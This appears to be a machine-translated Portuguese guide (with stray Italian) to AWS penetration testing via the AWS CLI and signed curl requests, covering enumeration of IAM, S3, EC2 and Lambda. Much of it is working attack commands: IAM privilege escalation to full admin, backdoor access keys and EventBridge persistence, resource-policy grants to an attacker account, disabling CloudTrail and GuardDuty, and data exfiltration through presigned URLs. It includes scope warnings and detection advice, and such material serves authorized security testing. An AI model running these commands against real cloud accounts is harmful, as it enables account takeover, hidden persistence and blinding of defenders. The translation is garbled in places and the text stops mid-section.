AWS CLI Linux: Teste de penetração, enumeração, ataque e defesa

AWS CLI no Linux para testes de intrusão na Amazon Web Services: comandos de enumeração de IAM, S3, EC2 e Lambda, verificação de permissões e escalonamento de privilégios na nuvem.
- Publicado em 29/10/2026
- Tempo de leitura: 34 minutos
AWS CLI para Pentest: Enumeração, IAM e Elevação de Privilégios #
No Linux, a AWS CLI é uma das principais ferramentas para testes de intrusão ofensivos na Amazon Web Services : ela permite enumerar recursos na nuvem, analisar permissões do IAM e identificar caminhos de escalonamento de privilégios a partir de credenciais da AWS obtidas durante uma interação autorizada.
Este guia é um guia prático de testes de penetração e avaliações de equipe vermelha na AWS: inclui comandos para enumerar IAM, S3, EC2, Lambda e outros serviços principais, verificar privilégios efetivos e analisar técnicas de escalonamento de privilégios, movimentação lateral, exfiltração de dados e persistência. Inclui exemplos operacionais, pré-requisitos, o impacto de configurações incorretas e referências ao MITRE ATT&CK Cloud, bem como solicitações HTTP assinadas com [nome da ferramenta/biblioteca]. curl e a Assinatura Versão 4 (SigV4), útil quando a AWS CLI não está disponível no Linux. O objetivo é reproduzir cenários realistas de ataques na nuvem, entender a extensão das autorizações e documentar os riscos sem sair do escopo do teste de penetração.
Assinando requisições da AWS com curl, sem usar a CLI. #
Já que o curl 7.75.0 existe --aws-sigv4, que assina a solicitação com a versão de assinatura 4 usando as credenciais passadas com --userSintaxe:
curl --aws-sigv4 "aws:amz:REGION:SERVICE" \
--user "ACCESS_KEY_ID:SECRET_ACCESS_KEY" \
-H "x-amz-security-token: SESSION_TOKEN" \
URLO cabeçalho x-amz-security-token Só precisa ser adicionado manualmente se as credenciais forem temporárias (STS, função EC2/Lambda/ECS, assumir função) — com um par de chaves de acesso/chave secreta permanente, não é necessário. SERVICE é o nome de assinatura do serviço (por exemplo, sts, s3, lambda, secretsmanager —quase sempre coincidem com o nome usado no nome do host).
Cada serviço da AWS utiliza um de três protocolos diferentes, e isso altera a forma como você constrói a solicitação:
- consulta/REST com formulário codificado em urlencode (STS, IAM, RDS, CloudFormation, SNS…): parâmetros em
Action=X&Version=Y&...no corpo ou na string de consulta. - JSON 1.1 com
X-Amz-Target(Gerenciador de Segredos, SSM, KMS, ECS, ECR, Organizações, Cognito…): corpo JSON puro, a operação é especificada no cabeçalho.X-Amz-Target: ServiceName.OperationName, não na URL. - REST-JSON/REST-XML com caminhos reais (Lambda, S3, EKS, API Gateway): A operação é determinada pelo caminho e pelo método HTTP, como em uma API REST comum.
Verifiquei localmente (servidor de teste + comparação com uma assinatura SigV4 calculada independentemente) que as assinaturas geradas por --aws-sigv4 Para os três protocolos, eles estão corretos.
Sondagem não autenticada: Coletando a impressão digital de um endpoint antes da assinatura. #
Mesmo antes de possuir credenciais válidas (ou para verificar se um endpoint/serviço está realmente acessível, em qual região e por trás de qual WAF/proxy), uma solicitação já é feita. não assinado com curl -i (assim você também vê os cabeçalhos da resposta, não apenas o corpo) comparar com um endpoint real da AWS ainda é informativo:
curl -i https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/A AWS responde mesmo assim — com um 403 e um body {"message":"Missing Authentication Token"} o {"__type":"MissingAuthenticationTokenException",...} —e isso por si só confirma: o serviço existe nessa região, o caminho/versão da API está correto e não há nenhuma camada intermediária (WAF, proxy corporativo, firewall) bloqueando a solicitação antes que ela chegue à AWS. Se, no entanto, você receber um tempo limite, uma redefinição de conexão ou um erro de DNS, o problema está em um nível superior na cadeia de suprimentos (região incorreta, serviço indisponível lá ou bloqueio de rede).
Tenha cuidado para não confundir isso com um ponto final. http://IP/2015-03-31/functions/ su IP exposto: nunca se trata de um endpoint público real da AWS (a AWS não publica serviços por trás de um IP direto sem hostname/TLS) — se você o vir em um contexto de laboratório/CTF, é quase certamente um proxy local, um mock ou o próprio alvo reimplementando a API Lambda (por exemplo, LocalStack ou um serviço personalizado que imita a interface REST do Lambda para fins de teste). Sempre verifique com curl -i O que esse IP realmente responde antes de ser tratado como se fosse da AWS.
A mesma sonda não assinada funciona em qualquer endpoint deste guia — basta substituir a URL:
curl -i https://secretsmanager.us-east-1.amazonaws.com/
curl -i https://ec2.us-east-1.amazonaws.com/
curl -i https://s3.amazonaws.com/Tabela de serviços da AWS #
| Serviço | o que | O que enumerar | Protocolo API | Impacto na segurança |
|---|---|---|---|---|
| IAM | Gestão de identidade | Usuários, funções, políticas, políticas de confiança, limites de permissões | pergunta | Raiz de quase toda escalada de privilégios |
| STS | Credenciais temporárias | Identidade atual, papéis que podem ser assumidos. | pergunta | Alternando entre funções e contas |
| S3 | Armazenamento de objetos | Bucket, ACL, política de bucket, versionamento, criptografia | REST-XML | A exposição de dados, muitas vezes o ponto de entrada inicial. |
| EC2 | Máquina virtual | Instâncias, perfil de instância do IAM, grupo de segurança, dados do usuário | Consultas EC2 | Execução de código, credenciais via IMDS |
| Lambda | Funções sem servidor | Funções, configuração, função de execução, variáveis de ambiente, código | REST-JSON | Segredo em texto claro, escalonamento de privilégios via função de execução |
| Gerente de segredos | Segredos com rotação | Segredos, metadados, versões | JSON1.1 | Credenciais do aplicativo, banco de dados, chave de API |
| SSM | Configuração/segredos + execução remota | Parâmetros, documentos, sessões ativas | JSON1.1 | Executando comandos no EC2 como root/SYSTEM |
| RDS | Bancos de dados gerenciados | Instâncias, clusters, snapshots | pergunta | Exposição da rede, instantâneos compartilhados |
| ECR | Registro de contêineres | Repositório, imagens | JSON1.1 | Segredo embutido nas imagens |
| ECS | Orquestração de contêineres | Cluster, definição de tarefa, ExecuteCommand | JSON1.1 | Segredo na definição da tarefa, shell no contêiner |
| KMS | Chaves criptográficas | Chaves, políticas, status | JSON1.1 | Decriptação de dados, se autorizada |
| Cognito | Autenticação de aplicativo do lado do cliente | Conjunto de identidades, conjunto de usuários, funções autenticadas/não autenticadas | JSON1.1 | Credenciais IAM sem autenticação, apropriação de controle do usuário |
| EKS | Kubernetes gerenciado | Cluster, endpoint público, mapeamento aws-auth | REST-JSON | Acessando o plano de controle do Kubernetes via IAM |
| CloudFormação | Infraestrutura como código | Pilha, saída, modelo | pergunta | Segredo codificado no modelo e na saída |
| Organizações | Conta múltipla | Conta, OU, SCP | JSON1.1 | Raio de impacto em toda a organização, mudança transversal entre contas |
| CloudTrail | Registro de auditoria | Trilhas ativas, eventos de gerenciamento/dados | JSON1.1 | Entender o que realmente é registrado |
Guia de consulta rápida para testes de penetração da AWS CLI #
Os comandos a serem executados primeiro em qualquer confronto, antes de entrar em detalhes serviço por serviço. R = somente leitura, W = modificar/criar recursos (devem ser rastreados e explicitamente autorizados no escopo antes da execução).
| Comando | Objetivo | Permissão IAM necessária | R / W |
|---|---|---|---|
aws sts get-caller-identity | Quem sou eu, e em que conta? | Nenhum (não bloqueável por negação) | R |
aws configure list | Que perfil/credenciais a CLI está usando atualmente? | — (local) | R |
aws iam list-roles / list-users | Mapa de identidade da conta | iam:ListRoles, iam:ListUsers | R |
aws iam simulate-principal-policy | Verifique as permissões efetivas sem executar a ação. | iam:SimulatePrincipalPolicy | R |
aws s3api list-buckets | Bucket de propriedade da conta | s3:ListAllMyBuckets | R |
aws ec2 describe-instances | Instâncias, perfil de instância, configuração IMDS | ec2:DescribeInstances | R |
aws lambda list-functions | Funções e papéis de execução associados | lambda:ListFunctions | R |
aws ssm describe-instance-information | Quais instâncias têm o agente SSM ativo (candidatos a movimento lateral)? | ssm:DescribeInstanceInformation | R |
aws secretsmanager list-secrets | Segredos presentes (apenas metadados) | secretsmanager:ListSecrets | R |
aws cloudtrail get-trail-status | Cobertura de registro real | cloudtrail:GetTrailStatus | R |
Qualquer comando além desses dez modifica, cria ou invoca algo: sempre o trate como tal. W até que você tenha verificado se é realmente somente leitura.
Pré-requisitos para um teste de penetração na AWS #
# Verify AWS CLI v2 is installed — v1 is EOL and some newer APIs/flags
# (e.g. --no-sign-request on some services, certain --query shortcuts)
# are missing or behave differently
aws --version
# See exactly which profile, region and credential source the CLI
# is about to use — check this BEFORE assuming a profile is active
aws configure list
# Confirm identity and account before touching anything
aws sts get-caller-identity --profile pentest
# Confirm which regions are even enabled for this account — resources
# in a disabled/opted-out region won't show up in a default-region scan
aws ec2 describe-regions --all-regionsAntes de listar qualquer coisa, obtenha tudo por escrito: IDs de conta autorizados no escopo, regiões a serem abrangidas, se as credenciais são permanentes ou temporárias (e quando expiram — aws sts get-session-token/ a assume-role tem um Expiration na resposta, sempre verifique), e se o engajamento incluir ações desse tipo W ou simplesmente enumeração.
Configuração rápida #
# Dedicated profile for the engagement — never use the default one
aws configure --profile pentest
# Or with temporary credentials (e.g. from STS or IMDS)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # only if the credentials are temporaryAs variáveis ambientais têm prioridade em --profile passado para a linha de comando. Se os resultados não forem os esperados, sempre verifique env | grep AWS_ antes de suspeitar de falta de licenças.
# Current identity — always the first command to run
aws sts get-caller-identity --profile pentestEquivalente em curl (protocolo de consulta, codificado em formulário URL):
Endpoint: https://sts.us-east-1.amazonaws.com/ — mesmo ponto final para cada ação STS, a operação está no parâmetro Action do corpo, não no caminho.
curl --aws-sigv4 "aws:amz:us-east-1:sts" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=GetCallerIdentity&Version=2011-06-15" \
https://sts.us-east-1.amazonaws.com/get-caller-identity retornos Account, UserId, Arn —informa imediatamente se você é um usuário do IAM, um usuário com função assumida ou um usuário federado.
IAM via curl #
O IAM usa o mesmo protocolo de consulta que o STS, mas o endpoint não é regional : o IAM é um serviço global, com um único endpoint para toda a sua conta, independentemente da região em que você trabalha.
Endpoint: https://iam.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:iam" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=ListRoles&Version=2010-05-08" \
https://iam.amazonaws.com/Observação: mesmo que o endpoint do IAM seja global, a região passada para --aws-sigv4 (aqui us-east-1) continua sendo necessário para calcular a assinatura — o SigV4 ainda o exige como parte do escopo da credencial, mesmo quando o próprio serviço não é regional.
fluxo de trabalho de enumeração da AWS #
- Identificar conta, titular e região.
get-caller-identity+ Verifique sua região ativa. Muitos recursos só existem em determinadas regiões. - Verifique as credenciais, a sessão e as permissões disponíveis. Temporárias ou permanentes? Quanto tempo duram?
- Enumere as relações de IAM e de confiança. Quem você é, o que você pode fazer, que papéis você pode assumir.
- Mapear recursos e serviços acessíveis. Com base no que o IAM mostra como acessível.
- Identificar possíveis caminhos de escalonamento de privilégios.
- Valide os resultados dentro do escopo definido e colete evidências. Não escale o problema "só para ver se funciona" se ele não estiver dentro do escopo.
Enumeração, verificação de permissões e exploração. #
Três fases distintas, confundi-las é o erro mais comum:
- Enumeração: coletar informações.
- Verifica dei permessiDetermine se a ação IAM necessária está realmente disponível — via
simulate-principal-policy, testes diretos ou leitura da política. - exploração: executar de fato a ação.
O fato de uma política conter iam:CreateAccessKey Isso não significa que seja explorável: pode haver um Deny explícito, uma condição não atendida, um limite de permissões ou um SCP que o bloqueia.
IAM: Enumeração e Elevação de Privilégios #
Enumeração básica #
aws iam get-user
aws iam list-users
aws iam list-roles
aws iam list-groups
# Custom policies in the account — do NOT skip AWS managed policies:
# many (AdministratorAccess, PowerUserAccess, IAMFullAccess...) grant
# huge privileges and must be reviewed just like custom ones
aws iam list-policies --scope Local
aws iam list-policies --scope AWS --only-attachedRelações e permissões reais #
# Trust policy of a role: who can assume it
aws iam get-role --role-name ROLE_NAME --query 'Role.AssumeRolePolicyDocument'
# Groups a user belongs to
aws iam list-groups-for-user --user-name TARGET
# Attached / inline policies
aws iam list-attached-user-policies --user-name TARGET
aws iam list-attached-role-policies --role-name TARGET
aws iam list-attached-group-policies --group-name TARGET
aws iam list-user-policies --user-name TARGET
aws iam get-user-policy --user-name TARGET --policy-name POLICY_NAME
# Permissions boundary (if set, caps the max effective privilege)
aws iam get-user --user-name TARGET --query 'User.PermissionsBoundary'
# Which users/roles/groups have a given policy attached
aws iam list-entities-for-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAMELeia o conteúdo real de uma política. #
Uma política sempre tem uma versão. por padrãoNunca presuma que seja v1.
aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--query 'Policy.DefaultVersionId' --output text
aws iam get-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--version-id VERSION_ID_FOUND_ABOVESempre verifique: declaração Effect: Deny (sempre vence), bloqueia Condition (IP, MFA, tag), tipo de política (baseada em identidade, baseada em recursos, confiança, SCP, política de sessão — o privilégio efetivo é a interseção de todos os aplicáveis).
Verificar permissões sem executar a ação #
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT_ID:user/TARGET \
--action-names s3:GetObject iam:CreateAccessKey sts:AssumeRoleO simulador não executa a ação em si, mas a chamada é registrada no CloudTrail como qualquer outra chamada de API. Mais importante: não representa todo o contexto de autorizaçãoAvalia as políticas baseadas em identidade da identidade fornecida, mas não garante a reprodução fiel das políticas baseadas em recursos de outra conta, SCPs de nível organizacional, limites de permissões ou condições baseadas no contexto real da solicitação (IP de origem, MFA no momento da chamada, tag de recurso). Um resultado. allowed Os resultados obtidos no simulador são um forte indício de que vale a pena verificar a eficácia da ação com um teste controlado — não uma certeza absoluta de que ela terá sucesso na produção.
Padrão de escalonamento de privilégios do IAM, com comandos de exploração. #
1. iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Pré-requisito: Essas ações se aplicam a uma política já vinculada a você. Impacto: Reescrever a política com permissões arbitrárias. Verificação: Se a política já tiver 5 versões (máximo permitido), você também precisa iam:DeletePolicyVersion.
cat > admin_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY \
--policy-document file://admin_policy.json \
--set-as-default2. iam:SetDefaultPolicyVersion em uma versão anterior mais permissiva
Pré-requisito: Uma versão antiga da política, nunca excluída, concedia mais privilégios. Impacto: Restaurá-la para o padrão restaura esses privilégios sem criar nada novo (mais discreto que o padrão 1).
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy --version-id v13. iam:PassRole + ec2:RunInstances
Pré-requisito: iam:PassRole em um papel privilegiado, ec2:RunInstancesAlém disso, permite o acesso SSH/SSM à instância após sua inicialização. Impacto: Instância com perfil privilegiado → credenciais via IMDS.
aws ec2 run-instances \
--image-id ami-XXXXXXXX --instance-type t2.micro \
--iam-instance-profile Name=PRIVILEGED_PROFILE \
--key-name YOUR_KEY --security-group-ids sg-XXXXXXXX \
--region us-east-1
aws ec2 describe-instances --instance-id i-XXXXXXXX --region us-east-1Após fazer login na instância (SSH ou SSM), extraia as credenciais de função do IMDS (consulte a seção específica abaixo).
4. iam:CreateAccessKey em outras identidades
Pré-requisito: Ação com recursos não limitados a ${aws:username}Impacto: Credenciais permanentes para um usuário com mais privilégios. Verificação: Limite de 2 chaves de acesso ativas por usuário.
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER5. iam:CreateLoginProfile / iam:UpdateLoginProfile
Pré-requisito: Ação em um usuário que não possui (ou já possui) uma senha de console. Impacto: Acesso ao console com uma senha definida por você.
aws iam create-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required
# Se l'utente ha già un login profile, serve update-login-profile invece
aws iam update-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required6. iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy / Put*Policy
aws iam attach-user-policy --user-name TARGET --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name TARGET_GROUP --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name TARGET --policy-name backdoor --policy-document file://admin_policy.json7. iam:AddUserToGroup
aws iam add-user-to-group --group-name Admins --user-name TARGET8. iam:UpdateAssumeRolePolicy e relações de confiança permissivas
cat > trust_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::ACCOUNT_ID:user/TARGET" },
"Action": "sts:AssumeRole"
}]
}
EOF
aws iam update-assume-role-policy --role-name PRIVILEGED_ROLE --policy-document file://trust_policy.json
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --role-session-name privesc9. sts:AssumeRole e fundos fiduciários entre contas
aws sts assume-role --role-arn arn:aws:iam::ALTRO_ACCOUNT_ID:role/TARGET_ROLE --role-session-name pivot10. Deputado confuso: política de confiança entre contas sem ExternalId
Pré-requisito: Uma política de confiança entre contas (típica de funções destinadas a serem assumidas por um fornecedor/SaaS terceirizado) que confie em toda uma conta da AWS ("Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} ou um papel genérico) sem exigir uma condição sts:ExternalIdImpacto: Se você souber o ARN da função (geralmente publicado na documentação de integração ou descoberto por tentativa e erro) e verificar qualquer Com uma identidade nessa conta confiável — mesmo que não seja a originalmente pretendida — você pode assumir o papel.
aws iam get-role --role-name THIRD_PARTY_ROLE --query 'Role.AssumeRolePolicyDocument'
# Look for a Principal scoped to an entire account with NO Condition block
# requiring sts:ExternalId — that's the confused-deputy gap
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT_ID:role/THIRD_PARTY_ROLE \
--role-session-name confused-deputy-testEsse é exatamente o problema que oExternalId Foi criado para resolver esse problema (a AWS o documenta para integração entre contas com terceiros) — sua ausência é uma constatação que deve sempre ser observada, e não apenas uma curiosidade teórica.
Analisador de Acesso IAM: Recursos entre contas expostos #
accessanalyzer Lista automaticamente quais recursos da sua conta são acessíveis externamente (outras contas ou a Internet) — mais rápido do que ler manualmente cada política baseada em recursos:
aws accessanalyzer list-analyzers
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN \
--filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}'Se não houver nenhum analisador ativo e você tiver access-analyzer:CreateAnalyzer Você pode criar uma; caso contrário, você recorre à análise manual das políticas de confiança, procurando por "AWS": "*" Diretores que fazem referência a contas externas.
Encadeamento de funções e limite de duração da sessão #
Ao alternar entre várias funções em sequência (assuma A → de A assuma B → de B assuma C), cada transição minimiza a duração máxima da sessão atual, reduzindo-a ao mínimo entre a duração da função e a duração da sessão anterior. Horas 1, independentemente do MaxSessionDuration configurado — e você não pode regenerar o token sem reverter para a credencial original. Em uma cadeia longa, você corre o risco de perder o acesso no meio da transação: planeje o momento certo.
# Hop 1 — assume intermediate role, export its creds
CREDS=$(aws sts assume-role --role-arn arn:aws:iam::ACC1:role/ROLE_A \
--role-session-name hop1 --output json)
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')
# Hop 2 — from ROLE_A, assume ROLE_B in another account (session cap now 1h)
aws sts assume-role --role-arn arn:aws:iam::ACC2:role/ROLE_B --role-session-name hop2Padrão entre serviços (iam:PassRole como alavanca comum) #
O padrão se repete exatamente da mesma forma em vários serviços: você tem iam:PassRole Com privilégios de administrador, você tem permissão para criar um recurso em um serviço que executa código em seu nome. O código/comando/tarefa é executado sob a identidade do administrador.
# Lambda: crea ed esegui una funzione con un ruolo privilegiato
aws lambda create-function \
--function-name privesc-check --runtime python3.12 \
--role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--handler lambda_function.lambda_handler --zip-file fileb://payload.zip
aws lambda invoke --function-name privesc-check output.json
# Glue: dev endpoint con ruolo privilegiato, poi SSH per leggere le
# credenziali dal metadata service dell'endpoint
aws glue create-dev-endpoint \
--endpoint-name privesc-test --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--public-key file://~/.ssh/id_rsa.pub
aws glue get-dev-endpoint --endpoint-name privesc-test
# CloudFormation: stack con un ruolo privilegiato — il template può
# creare direttamente un utente admin ed esporne le access key in output
aws cloudformation create-stack \
--stack-name privesc --template-body file://create_admin.json \
--role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --capabilities CAPABILITY_IAM
aws cloudformation describe-stacks --stack-name privescPersistência: manter o acesso após o engajamento inicial. #
Após demonstrar uma rota de escalonamento, uma equipe vermelha também verifica se um invasor conseguiria manter o acesso silenciosamente. Dois padrões comuns devem ser executados somente se o escopo incluir explicitamente testes de persistência e devem ser removidos ao final do engajamento:
Backdoor do IAM : Uma segunda chave de acesso em um usuário legítimo quase sempre passa despercebida, pois não aparece como um "novo usuário" em uma análise superficial.
aws iam create-access-key --user-name LEGITIMATE_EXISTING_USER
# The new key works exactly like the user's original one — indistinguishable
# in day-to-day use, visible only via explicit list-access-keys auditingBackdoor via EventBridge + Lambda : Uma regra agendada que invoca periodicamente uma função com privilégios elevados, sem exigir nenhuma sessão interativa aberta.
aws events put-rule \
--name maintenance-check --schedule-expression "rate(1 hour)"
aws lambda add-permission \
--function-name BACKDOOR_FUNCTION --statement-id eventbridge-invoke \
--action lambda:InvokeFunction --principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:ACCOUNT_ID:rule/maintenance-check
aws events put-targets \
--rule maintenance-check \
--targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:ACCOUNT_ID:function:BACKDOOR_FUNCTION"Nome de regra intencionalmente inócuo (“maintenance-check”) — o ponto a verificar no lado da detecção é se o cliente gerou alertas sobre novas regras do EventBridge ou novas chaves de acesso criadas fora de um processo de integração conhecido.
Tokens federados de longa duração: sts:GetFederationToken Gera credenciais temporárias com duração de até 36 horas (em comparação com a típica hora de um cartão de crédito). assume-role encadeado), sem criar um usuário ou chave de acesso que apareceria em uma auditoria do IAM.
Restrição importanteA AWS permite que você faça chamadas somente com credenciais. longo prazo de um usuário IAM (chave de acesso permanente, AKIA...) ou a conta raiz — não funciona com credenciais temporárias obtidas via AssumeRole, AssumeRoleWithSAML o AssumeRoleWithWebIdentityPortanto, só é útil se as credenciais em mãos forem as de um usuário IAM, e não se você as obteve assumindo uma função.
aws sts get-federation-token \
--name tmp-session \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--duration-seconds 129600Porta dos fundos por meio de política baseada em recursos #
Uma classe de persistência que muitas vezes é negligenciada por não interagir com o IAM: muitos serviços têm um política baseada em recursos próprio, editável sem permissões iam:*Ao nos adicionar como entidade principal (mesmo que seja uma conta externa), você mantém o acesso ao recurso mesmo após a revogação da sua identidade IAM.
# Lambda: grant an external account the right to invoke the function
aws lambda add-permission \
--function-name TARGET_FUNCTION --statement-id ext \
--action lambda:InvokeFunction --principal ATTACKER_ACCOUNT_ID
# KMS: grant yourself decrypt via a grant (separate from the key policy)
aws kms create-grant --key-id KEY_ID \
--grantee-principal arn:aws:iam::ATTACKER_ACCOUNT_ID:root \
--operations Decrypt
# Secrets Manager: attach a resource policy opening the secret cross-account
aws secretsmanager put-resource-policy --secret-id SECRET_NAME \
--resource-policy file://open_policy.jsonO mesmo vale para as redes sociais (set-topic-attributes Política), SQS (set-queue-attributes Política) e ECR (set-repository-policyA principal vantagem para um atacante é que essas alterações não aparecem em uma auditoria de política do IAM — elas precisam ser procuradas recurso por recurso (ou com o IAM Access Analyzer, veja acima). Reforço de segurança: Access Analyzer ativo em todas as contas, alertas em AddPermission/CreateGrant/PutResourcePolicy com entidades externas e negação explícita nos SCPs sobre o compartilhamento não autorizado entre contas.
Evasão defensiva: desativar a visibilidade do defensor #
Técnica padrão de equipe vermelha (MITRE ATT&CK, categoria Impair Defenses ), não enumeração: Se a identidade comprometida tiver permissões administrativas de registro/detecção, um atacante real as desabilitará antes de prosseguir. Verificar isso durante um teste demonstra o verdadeiro impacto de uma identidade com privilégios excessivos — e deve sempre ser relatado como uma descoberta crítica, restaurando o estado original ao final do teste.
# Stop CloudTrail logging entirely for a trail
aws cloudtrail stop-logging --name TRAIL_NAME
# Disable a GuardDuty detector (stops threat detection, doesn't delete findings already generated)
aws guardduty update-detector --detector-id DETECTOR_ID --no-enable
# Stop AWS Config's configuration recorder (no more config change history)
aws configservice stop-configuration-recorder --configuration-recorder-name DEFAULT
# Delete VPC Flow Logs — removes network traffic visibility
aws ec2 delete-flow-logs --flow-log-ids fl-XXXXXXXXNo entanto, desativar completamente um detector é barulhento. Uma alternativa mais silenciosa é... filtro de supressão Com arquivamento automático: o GuardDuty continua em execução (não Enable=false para alertar), mas as descobertas que correspondem ao filtro são arquivadas automaticamente e desaparecem do painel ativo.
aws guardduty create-filter \
--detector-id DETECTOR_ID --name legit-maintenance \
--action ARCHIVE \
--finding-criteria '{"Criterion":{"resource.accessKeyDetails.userName":{"Eq":["YOUR_PRINCIPAL"]}}}'Detecção do lado do defensor: Cada uma dessas ações é um evento IAM registrado (se o CloudTrail ainda estiver ativo no momento da chamada — para isso StopLogging (normalmente é o primeiro passo, antes de tudo o resto). Um alerta sobre StopLogging, UpdateDetector com Enable=false, CreateFilter com Action=ARCHIVEum DeleteFlowLogs Isso deve ser tratado como prioridade máxima em qualquer configuração de monitoramento da AWS. Mitigação: Restrinja essas permissões a uma função de emergência separada, com autenticação multifator obrigatória e alertas dedicados para cada uso.
S3 #
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://BUCKET_NAME --recursive
aws s3api get-bucket-location --bucket BUCKET_NAME
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws s3api get-bucket-versioning --bucket BUCKET_NAME
aws s3api get-bucket-encryption --bucket BUCKET_NAME
aws s3api get-bucket-logging --bucket BUCKET_NAME
aws s3api get-bucket-ownership-controls --bucket BUCKET_NAME
aws s3api get-public-access-block --bucket BUCKET_NAME
aws s3api get-public-access-block --account-id ACCOUNT_IDO equivalente em curl para ler a política do bucket (o S3 usa REST-XML, a operação está na string de consulta):
Endpoint: https://BUCKET_NAME.s3.amazonaws.com/ (estilo virtual hospedado) ou https://s3.amazonaws.com/BUCKET_NAME (Estilo de caminho, útil se o nome do bucket contiver caracteres inválidos em um nome de host). Para list-buckets Sem especificar um bucket, o endpoint é https://s3.amazonaws.com/ nó.
curl --aws-sigv4 "aws:amz:us-east-1:s3" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "x-amz-content-sha256: UNSIGNED-PAYLOAD" \
"https://BUCKET_NAME.s3.amazonaws.com/?policy"Três níveis diferentes, não confundir #
- Bucket configurado como públicoA política/ACL do bucket permite isso.
- Balde realmente acessívelCom as credenciais que você tem em mãos, a chamada é completada.
- Objetos acessíveisUm bucket privado pode conter objetos individuais com ACLs públicas.
get-bucket-policy-status dá diretamente IsPublic: true/false. aws s3 ls Sem buckets, retorna apenas os buckets pertencentes à conta — uma lista vazia. não prova que a conta não tem acesso a nenhum outro bucket de terceiros.
# Scope recursive listings with a prefix on large buckets — an unfiltered
# recursive list on millions of objects is slow, burns API calls and is
# loud in the logs
aws s3 ls s3://BUCKET_NAME/config/ --recursive
aws s3api list-objects-v2 --bucket BUCKET_NAME --prefix backup/ --max-items 100Se o bucket/objeto for público, você também poderá exfiltrá-lo sem nenhuma credencial da AWS:
curl -s "https://BUCKET_NAME.s3.amazonaws.com/config/database.yml" -o database.ymlExfiltração silenciosa com URL pré-assinada #
Se o bucket for privado, mas você tiver s3:GetObjectVocê pode gerar uma URL assinada temporária e baixar o objeto de uma máquina completamente diferente, sem nunca expor suas credenciais reais da AWS para esse segundo host (útil ao baixar de um ambiente não confiável ou para demonstrar o impacto sem deixar chaves expostas):
aws s3 presign s3://BUCKET_NAME/config/database.yml --expires-in 300
# Output: a plain HTTPS URL valid for 300 seconds — fetch it with a bare curl,
# no AWS credentials needed on the machine that downloads it
curl -s "URL_GENERATO_SOPRA" -o database.ymlA geração da URL é registrada no CloudTrail como uma assinatura, mas a solicitação GET real para a URL pré-assinada não é registrada. não aparece como uma chamada de API — é uma solicitação HTTP aleatória para o S3, visível apenas nos registros de acesso do S3 (get-bucket-logging) se estiver ativo.
Enumeração sem credenciais: --no-sign-request
#
Os buckets públicos respondem a solicitações não assinadas — úteis para testar a exposição a partir de um host sem credenciais da AWS ou para realizar um ataque de força bruta ao nome do bucket de destino:
aws s3 ls s3://TARGET_BUCKET --no-sign-request
aws s3api list-objects-v2 --bucket TARGET_BUCKET --no-sign-request
aws s3 cp s3://TARGET_BUCKET/file.txt - --no-sign-requestPara encontrar buckets públicos a partir do nome da empresa, permute o nome em variações comuns (company-backup, company-logs, company-dev, company-prod, company-assets) e cabeça com --no-sign-request: NoSuchBucket (nome não existe) é diferente de AccessDenied (existe, privado).
Objetos excluídos, mas ainda recuperáveis: versionamento do S3 #
